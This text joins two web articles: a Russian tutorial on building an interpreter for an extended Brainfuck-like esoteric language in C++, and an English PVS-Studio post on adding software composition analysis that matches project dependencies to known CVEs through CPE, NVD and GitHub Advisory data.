> * Онлайн-курс [«Профессия frontend-разработчик»](https://skillbox.ru/frontend-developer/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=FRENDEV&utm_content=articles&utm_term=clearcode)
> * Практический курс [«Мобильный разработчик PRO»](https://skillbox.ru/agima/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=AGIMA&utm_content=articles&utm_term=clearcode).
> * Практический годовой курс [«PHP-разработчик с нуля до PRO»](https://skillbox.ru/php/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=PHPDEV&utm_content=articles&utm_term=clearcode).
> | https://habr.com/ru/post/428231/ | null | ru | null |
# Пишем интерпретатор для своего эзотерического языка
За основу я взял язык Brainfuck он настолько мал, что можно немного расширив получить практически новый и достаточно функциональный язык программирования. И при этом не потерять изюминку исходного языка – мой язык будет все так же терзать мозг программиста, как и его родитель!
Итак, Brainfuck. Вкратце, идея такая, есть N регистров/ячеек. У программиста есть доступ к ним всем но перемещения по ним делаются явным образом. Т.е. из ячейки 2 нельзя перейти к ячейке 7 сразу, нужно последовательно.
“Ключевые слова” языка:
* > – перейти на ячейку вправо.
* < – перейти на ячейку влево.
* + – увеличить значение ячейки на единицу.
* — – уменьшить значение ячейки на единицу.
* , – прочесть значение в ячейку со стандартного устройства ввода.
* . – напечатать значение ячейки стандартным устройством вывода.
* [ – начать цикл while если значение текущей ячейки не равно 0 и перейти к следующей ячейке.
* ] – конец блока while. Продолжить цикл, если значение “условной” ячейки не равно 0 ( “условная ячейка” — ячейка на которой начался цикл ).
Добавленные “ключевые слова”:
* $ – прочитать значение в ячейку как число ( > переопределим как чтение в качестве ANCII символа )
* ! – напечатать как число
* { – начало функции, после начала идет имя функции ( именем может служить любая последовательность букв между символами %<имя функции>%. Для любой функции создается копия ячеек, возвращаемое значение записывается в текущий регистр вызвавшего блока
* } – конец функции
* ( – начало комментария
* ) – конец комментария
* @%<имя функции>% – вызов функции
* ^ – обнулить ячейку
Так как все множество ключевых слов состоит из ANCII символов, имеем:
`// Искомые ключевые слова
const char bf_next = '>';
const char bf_prev = '<';
const char bf_incr = '+';
const char bf_decr = '-';
const char bf_prnt = '.';
const char bf_read = ',';
const char bf_wBeg = '[';
const char bf_wEnd = ']';
// Добавленные ключевые слова
const char bf_pNum = '!' ;
const char bf_rNum = '$';
const char bf_fBeg = '{';
const char bf_fEnd = '}';
const char bf_fNme = '%';
const char bf_comm= '(';
const char bf_call = '@';
const char bf_null = '^';`
Без ограничения общности возьмем ограниченное количество ячеек, скажем 256 и в случае попытки перейти к недопустимой ячейке будем переходить к самой первой ячейке ( если переход влево) или к самой последней ( если переход вправо).
Добавим:
`const unsigned long regSize = 256; // Количество регистров
long reg[ regSize ]; // Сами регистры
long stck[ regSize ]; // Стек, у каждой функции свой стек
void resetRegisters(); // Функция для обнуления регистров
void printRegistres(); // Показать состояние регистров`
Теперь, скажем имеем test.bf, как входной файл, в котором находится код на моем языке или на родном Brainfuck. Интерпретатор должен обеспечивать “обратную совместимость”.
Опять же, без ограничения общности, можем хранить весь код в некотором ограниченном массиве. Т.е. интепретатор будет работать с файлами ограниченного размера, скажем так:
`const unsigned long maxCodeSize = 1024000; /* максимальный размер входного файла в символах */
unsigned long realCodeSize; // Размер кода в файле realCodeSize < maxCodeSize
char code[maxCodeSize]; // Сам код`
Интерпритатор читает весь код сразу. В один символьный массив, для этого будем использовать функцию readCode(). После прочтения не пустого текста m\_realCodeSize будет содержать точное количество символов в коде, без учета комментариев, комментарии отбрасываются во время чтения.
int main( int argc, char\*\* argv )
{
welcome();
resetRegisters();
readCode( “test.bf “ );
loop ( 0, realCodeSize — 1, regSize, reg );
return 0;
}
Далее определим пару функций для цикла while и копирования стека и собственно выполнения функции.
`bool loop( unsigned long from,
unsigned long to,
unsigned long condRegIndx,
unsigned long currReg,
long* registers );
bool runFunction( unsigned long from,
unsigned int to,
unsigned int& retValue);
void copyRegistersTo( long* source, long* destination );`
Первая будет выполнять цикл и вернет true если цикл выполнен без проблем, т.е. нет синтаксических ошибок.
Вторая собственно будет выполнять функцию, а возвращаемое значение запишется в retVal, которое в свою очередь присвоится регистру, на котором была вызвана функция. Возвращаемым значением будем считать первый регистр стека функции после ее окончания.
Кстати, о цикле while, в общем случае цикл может продолжаться бесконечно. Но, чтобы не столкнуться с проблемой зависания интерпретатора, введем переменную отвечающую за максимальное количество циклов.
`const unsigned long maxLoopCycles = 999999;`
Реализуем сначала обратную совместимость. Пусть пока наш интерпретатор сможет выполнять только код Brainfuck-а.
Нам понадобятся функции:
`bool makeCommand( char command, long* registers, unsigned long currReg )
unsigned long findLoopEnd( const unsigned long from )`
Второй и третий параметры первой функции обязательны. Третий параметр нужен для того, чтобы ориентироваться с какой ячейкой работать, второй нужен потому что регистры каждой функции отличаются, а операции над ними одинаковы.
Вторая функция исходя из названия находит конец цикла, т.е. символ соответствуюйщий '['.
Таким образом имеем интерпретатор для языка Brainfuck.
К записи прикрепил [исходный код](http://narod.ru/disk/7753616001/mbf.tar.gz.html), моего интерпретатора с тестовым кодом
`$[+<->]<<$>!<>>++++[++++++++++<->]<+++.++++++++++++++++++<<[<-<+>>]>>.<<
На код выше мой интерпретатор выведет сумму двух введённых чисел в виде а+b=c.
Удачного… программирования!
P.S.
Если интересно, позже расскажу как реализовывал остальное.` | https://habr.com/ru/post/116004/ | null | ru | null |
# OWASP Top Ten and Software Composition Analysis (SCA)
The OWASP Top Ten 2017 category A9 (which became A6 in OWASP Top Ten 2021) is dedicated to using components with known vulnerabilities. To cover this category in PVS-Studio, developers have to turn the analyzer into a full SCA solution. How will the analyzer look for vulnerabilities in the components used? What is SCA? Let's try to find the answers in this article!
One of the priority areas for PVS-Studio development is to cover categories from the OWASP Top Ten 2017 in the C# analyzer. We also plan to cover the Top Ten 2021 in the future. The most unusual for us is the A9:2017 category - Using Components with Known Vulnerabilities. This category has the A6 position in the preliminary version of OWASP 2021. The rule implementation for this category is an important task for our analyzer. It allows us to classify PVS-Studio as an SCA (Software Composition Analysis) tool. Which approach to implementation should we choose? Let's figure it out!
### Using Components with Known Vulnerabilities
The A9 threat category (It turned into A6 in the preliminary OWASP 2021 version) is dedicated to using components with known vulnerabilities. These are the components that have the corresponding entries in the CVE database. [CVE (Common Vulnerabilities and Exposures)](https://cve.mitre.org/) is a database of records about real-life vulnerabilities in software, hardware, service components, etc.
A9 is quite atypical from the point of view of its coverage in PVS-Studio. That's because the existing analyzer architecture is designed to search for errors in the code itself. The architecture uses syntax trees, semantic model, [various technologies](https://pvs-studio.com/en/docs/manual/6521/) like data-flow analysis and others. These technologies were generally sufficient to implement diagnostic rules that would cover certain categories from the [OWASP Top Ten 2017](https://owasp.org/www-project-top-ten/2017/).
For example, on the base of the existing data-flow mechanism we implemented [taint analysis](https://pvs-studio.com/en/blog/terms/6496/) and various related diagnostic rules:
* [V5608](https://pvs-studio.com/en/docs/warnings/v5608/) searches for [SQL Injection](https://pvs-studio.com/en/blog/terms/6507/);
* [V5609](https://pvs-studio.com/en/docs/warnings/v5609/) searches for [Path Traversal/Directory Traversal](https://pvs-studio.com/en/blog/terms/6470/);
* [V5610](https://pvs-studio.com/en/docs/warnings/v5610/) searches for potential [XSS](https://pvs-studio.com/en/blog/terms/6462/) vulnerabilities;
* and [others](https://pvs-studio.com/en/docs/warnings/).
Each of these rules searches for potential vulnerabilities in code and works by traversing a syntax tree. At the same time, they correspond to one or more OWASP Top Ten 2017 categories. You can find the full list of correspondences [here](https://pvs-studio.com/en/pvs-studio/sast/owasptopten/).
The situation with A9 is completely different. From the point of view of C# projects, the rule implementation for A9 is a check of all the project dependency libraries for CVE. In other words, for each dependency, we need to check whether there is a corresponding entry in the CVE database.
This task goes far beyond the usual syntax tree traversal and the study of code semantics. However, we are determined to cover this category. Besides, it is very important that the implementation of the A9 rule would let PVS-Studio position the analyzer as an SCA solution.
### Software Composition Analysis
In general, SCA tools are designed to check the project for problematic dependencies.
For example, if a project depends on an open source library, it is extremely important to take into account the license under which this library is distributed. Terms of use violations can cause huge damage to the business.
Another possible problem is the presence of vulnerabilities in the library. In the context of SCA, we are talking about known vulnerabilities — [CVE](https://cve.mitre.org/about/index.html). It's almost impossible to determine the use of a dependency that contains a non-recorded vulnerability :) It is not difficult to guess that if we use a library with a (publicly known) vulnerability, we can make a product vulnerable to various attacks.
Besides, using libraries whose maintenance was discontinued is a dangerous approach. Potentially, these dependencies also contain vulnerabilities. However, developers most likely don't know about them. Fixing such vulnerabilities is out of question — no one is going to do that.
### SCA and PVS-Studio
We are gradually coming to the main question — how to implement the SCA functionality? First, we need to say that we are going to develop these features within the coverage of the [A9:2017 category (Using Components with Known Vulnerabilities)](https://owasp.org/www-project-top-ten/2017/A9_2017-Using_Components_with_Known_Vulnerabilities). Thus, we are going to search for dependencies with known vulnerabilities in the first place. However, the PVS-Studio analyzer already has diagnostic rules that warn developers about copyleft licenses:
* [V1042](https://pvs-studio.com/en/docs/warnings/v1042/) for C++;
* [V3144](https://pvs-studio.com/en/docs/warnings/v3144/) for C#;
* [V6071](https://pvs-studio.com/en/docs/warnings/v6071/) for Java.
It is possible that over time we will implement other SCA features.
Detecting components with known vulnerabilities consists of two parts. The first step is to obtain all (both direct and transitive) project dependencies and then search for the CVEs that match them. The first part of this plan seems simple. The second part, though, is more difficult.
At the moment, we plan to implement the specified functionality for the C# analyzer. It's easy to obtain the list of dependencies for a C# project. [Roslyn](https://github.com/dotnet/roslyn) helps us a lot — our analyzer is built on its base. To be more precise, the main factor is the use of the same build platform ([MSBuild](https://github.com/dotnet/msbuild)) and a compiler for all C# projects. At the same time Roslyn is closely related to MSBuild. This makes obtaining the dependencies list trivial.
Since the ecosystem of C++ and Java is much more diverse, obtaining the dependencies list is going to be more difficult. We'll do this another time :).
Well, we got the dependencies from the project. How do we understand which of them have vulnerabilities? Besides, we need to keep in mind that the vulnerability may be relevant only for specific library versions. Obviously, we need some kind of database, where the dependencies, versions, and the corresponding CVEs would be stored.
The main question of implementation: how to find (or, perhaps, create) a database that allows us to compare the available information about project dependencies with specific CVE? The answer on that question depends on the tools you use.
#### Using a CPE open database
The first option we have studied is the approach used in [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/). The approach is simple — for each dependency, this utility searches for a corresponding identifier in the [CPE](https://csrc.nist.gov/projects/security-content-automation-protocol/specifications/cpe) (Common Platform Enumeration) database. In fact, the CPE database is a list with information about products, their versions, vendors, and so on. To implement SCA, we must obtain CPE and CVE correspondences. Thus, getting a CVE list is just searching for the corresponding entry in the CPE database.
You can find the CPE database and CVE compliance on the official website [National Vulnerability Database](https://nvd.nist.gov/). One of the ways to get the necessary information is to use the Rest API. It's described [here](https://csrc.nist.gov/CSRC/media/Projects/National-Vulnerability-Database/documents/web%20service%20documentation/Automation%20Support%20for%20CPE%20Retrieval.pdf). For example, the following query allows us to get the first 20 elements of the CPE database including corresponding CVEs:
<https://services.nvd.nist.gov/rest/json/cpes/1.0?addOns=cves>
Below is an example of CPE for ActivePerl:
```
{
"deprecated": false,
"cpe23Uri": "cpe:2.3:a:activestate:activeperl:-:*:*:*:*:*:*:*",
"lastModifiedDate": "2007-09-14T17:36Z",
"titles": [
{
"title": "ActiveState ActivePerl",
"lang": "en_US"
}
],
"refs": [],
"deprecatedBy": [],
"vulnerabilities": [ "CVE-2001-0815", "CVE-2004-0377" ]
}
```
The most important part here is the "cpe23Uri" value. It contains important information for us in a certain format, and, of course, "vulnerabilities" (although they are not a part of the CPE list). For simplicity we read the "cpe23Uri" string as
```
cpe:2.3:a:::::...
```
According to the [specification](https://cpe.mitre.org/specification/), a hyphen in place of one of the fragments means logical "NA" value. As far as I understand, this can be interpreted as "the value is not set". The "\*" character put in place of a fragment means "ANY".
When we implement a CPE-based solution, the main difficulty is to find the right element for each dependency. The problem here is that the library name (obtained when we parsed the project links) may not match the corresponding CPE entry. For example, the CPE list has entries with the following "cpe23Uri":
```
cpe:2.3:a:microsoft:asp.net_model_view_controller:2.0:*:*:*:*:*:*:*
cpe:2.3:a:microsoft:asp.net_model_view_controller:3.0:*:*:*:*:*:*:*
cpe:2.3:a:microsoft:asp.net_model_view_controller:4.0:*:*:*:*:*:*:*
cpe:2.3:a:microsoft:asp.net_model_view_controller:5.0:*:*:*:*:*:*:*
cpe:2.3:a:microsoft:asp.net_model_view_controller:5.1:*:*:*:*:*:*:*
```
After processing the entries, the analyzer concludes that they are all related to various versions of a product with the name "asp.net\_model\_view\_controller" released by a company called Microsoft. All these entries correspond to a vulnerability with the [CVE-2014-4075](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4075) identifier. However, the library in which the vulnerability was discovered is called "System.Web.Mvc". Most likely we'll get this name from the list of dependencies. In CPE, the name of the product is "[Microsoft ASP.NET Model View Controller](https://dotnet.microsoft.com/apps/aspnet/mvc)".
Besides, we need to take into account the vendor, whose identifier is an integral part of the CPE entries. There are also problems with this – the actual dependency does not always provide the necessary information in any form suitable for parsing. Not to mention the compliance of this information with any entry from CPE.
You can guess that the similar problems arise with the library version.
Another problem is that many records in the database are not relevant when we look for matches. Let's take as an example the entry given at the beginning of this section:
```
cpe:2.3:a:activestate:activeperl
```
ActivePerl is a distribution of the Perl language from ActiveState. The probability that something like this would be a dependency on a C# project... Well, is low. There are a lot of "unnecessary" (in the context of analyzing C# projects) entries. It's hard to say how we can teach the analyzer to distinguish them from the useful ones.
Despite the mentioned problems, the CPE-based approach can still be effective. Its implementation should be much trickier than a simple pair of string comparison. For example, the [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/) works in an interesting way. For each dependency, this tool collects evidence strings that can correspond to the vendor, product and version values from the desired CPE.
#### Using GitHub Advisory
We found another approach to searching for CVEs. We investigate [GitHub Advisory](https://docs.github.com/en/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database) to find the entries that correspond to the dependency we need to check. GitHub Advisory is a vulnerability database (CVE) discovered in open source projects that are stored on GitHub. The full list of positions is available [here](https://github.com/advisories).
After we got acquainted with CPE, we understood that the method of recording data is extremely important when we choose the data source. We have to admit that in this case GitHub Advisory is much more convenient than CPE. Perhaps, this database was originally created for being used by various SCA tools. Anyway, various solutions like [GitHub SCA](https://docs.github.com/en/github/visualizing-repository-data-with-graphs/listing-the-packages-that-a-repository-depends-on/) and [SCA by Microsoft](https://devblogs.microsoft.com/nuget/how-to-scan-nuget-packages-for-security-vulnerabilities/) use this database.
For programmatic access to GitHub Advisory, we need to use [GraphQL](https://graphql.org/). It's a powerful technology, but we must note that it's much easier to understand Rest API. Nevertheless, worn out by [GitHub's GraphQL Explorer](https://docs.github.com/en/graphql/overview/explorer), I finally managed to make a query that outputs almost what I wanted. Namely, it outputs a list of packages and corresponding CVEs. Here's one of the elements I received:
```
{
"identifiers": [
{
"value": "GHSA-mv2r-q4g5-j8q5",
"type": "GHSA"
},
{
"value": "CVE-2018-8269",
"type": "CVE"
}
],
"vulnerabilities": {
"nodes": [
{
"package": {
"name": "Microsoft.Data.OData"
},
"severity": "HIGH",
"vulnerableVersionRange": "< 5.8.4"
}
]
}
}
```
Obviously, I did not make the most optimal query, so I got a little extra information at the output.
*If you're an expert in GraphQL, please write in the comments how you would construct a query that allows you to get a list of matches of this form: (package name, version) => CVE list.*
Anyway, the query result clearly indicates the package name — the one that corresponds to this dependency in NuGet. The package name corresponds to CVE, and versions, for which the vulnerabilities are relevant. I'm sure that with a better understanding of this topic, we could easily create a utility that would automatically download all the necessary information.
We must say that selecting packages specifically for NuGet is a useful feature. In many cases (if not all) we would like to look for entries that correspond to a particular dependency among those packages. More specifically, we would like to do it without all the stuff for Composer, pip, etc.
Alas, but this solution has its flaws. At the time of writing this article, the GitHub Advisory had 4753 entries and only 140 NuGet packages. In comparison to the CPE database that contains more than 700 000 entries, this collection doesn't look that impressive. Although we must note that not all CPEs have corresponding CVEs. Plus [the description](https://docs.github.com/en/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database) implies that the GitHub Advisory database will contain information about vulnerabilities of GitHub-stored projects **only**. This awfully narrows the sample.
Nevertheless, the convenience of presenting vulnerabilities in this database at least makes us think about using it, if not as the main, then at least as one of the auxiliary data sources.
#### Our own database
Powerful SCA tools, such as [Black Duck](https://www.blackducksoftware.com/) and [Open Source Lifecycle Management](https://www.whitesourcesoftware.com/product-overview/), form and use their own databases. These databases, judging by the description, contain even more information than the [National Vulnerability Database](https://nvd.nist.gov/). Obviously, such databases present information in the most convenient form for the relevant tools.
Working on this direction, we have to transform the public data found about vulnerable components into some form convenient for our analyzer. We only need to find data convenient for such a transformation. Most likely, all SCA tools have their own databases of vulnerable components. However, not all of them contain information about vulnerabilities that are not in NVD or some other public source. One of the important distinguishing features of powerful SCA solutions is that they build their custom base that surpasses similar bases of other tools. Therefore, when working on the SCA implementation in PVS-Studio, we will take into account the need to expand our vulnerability base in the future.
#### Places where vulnerable components are used
It may seem that the implementation of the SCA functionality in PVS-Studio will require creation of something fundamentally new, without the possibility of using any of our existing developments. And, frankly, not in vain. The fact is that dependency analysis is a brand-new functionality and PVS-Studio doesn't have anything like this right now.
However, we have an idea how we can use the existing architecture to enhance our SCA implementation. Instead of simply making the analyzer trigger at the presence of a link to an unsafe library, we will try to look for its use in code. We have plenty of ready-made mechanisms for this :).
In my opinion, if the library is not even used, the analyzer still should warn about its presence among the dependencies. And if the library capabilities are somehow applied in the code, then the analyzer should issue a warning of the highest level. So far these are just thoughts.
As you see, we haven't decided what implementation approach to use. We haven't resolved some issues about it, too. For example: if we use a library with a vulnerability many times in project, should the analyzer issue a warning for each place of use? Or will the user drown in warnings? Should the analyzer issue one warning per file or should we simply raise the level if it detects the use of such library?
We have a lot of such questions about this solution. That's why we would like to know — how would YOU like to see SCA in PVS-Studio? How should an effective tool for finding problematic vulnerabilities work? What level should warnings have? Should we try to find other information sources about vulnerabilities? Should the analyzer trigger at transitive (indirect) dependencies?
Anyway, we are waiting for your comments. Thank you for your attention! | https://habr.com/ru/post/585028/ | null | en | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.